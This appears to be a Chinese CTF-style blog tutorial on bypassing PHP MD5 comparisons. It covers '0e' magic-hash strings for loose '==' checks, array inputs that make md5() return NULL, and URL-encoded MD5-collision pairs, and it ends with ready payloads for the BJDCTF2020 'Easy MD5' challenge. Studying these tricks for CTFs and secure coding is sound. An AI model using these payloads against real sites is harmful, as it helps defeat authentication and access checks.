0
点赞
收藏
分享

微信扫一扫

MD5 函数的绕过

快乐小码农 2022-04-13 阅读 56
php

1. MD5函数漏洞

$_GET['a'] != $_GET['b']
&&
MD5($_GET['a']) == MD5($_GET['b'])

要让上面的等式成立,a和b的值不能相等,但是md5后的值相等。因为是==比较,只判断值是否相等,不判断类型是否相同。如果类型不同先转换为相同类型再进行比较而PHP在处理哈希字符串时后,会把0E开头的哈希值解释为0。所以如果两个值通过md5后值都已0E开头,就会相等。

QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904

s214587387a
0e848240448830537924465865611904

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s1885207154a
0e509367213418206700842008763514

s1502113478a
0e861580163291561247404381396064

s1885207154a
0e509367213418206700842008763514

最后只要构造a=QNKCDZO&b=240610708就可以绕过。

2.PHP特性

$_POST['a1']!==$_POST['a2']
&&
md5($_POST['a1'])===md5($_POST['a2'])

成立的条件是a1和a2值不相等,但是md5后的值相等。因为这里是===不仅比较值相等还会比较值得类型是否相同0E在这里就不可用了。
php中md5和sha1函数都无法处理数组,会返回NULL
所以构造a1[]=1&&a2[]=2就可以绕过。

3.MD5碰撞

(string)$_POST['a1']!==(string)$_POST['a2'] 
&&
md5($_POST['a1'])===md5($_POST['a2'])
}

这个和第二个的区别就是传入的最后转为字符串比较,所以数组就不行了。只能构造两个MD5值相同的不同字符串
下面的是两组经过url编码后的值:

param1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
param2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

 

Param1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
Param2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

[BJDCTF2020]Easy MD5

<?php
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
?>

payload1:a=QNKCDZO&b=240610708

payload2:a[]=1&b[]=2

<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
?>

payload:param1[]=1&param2[]=2

举报

相关推荐

0 条评论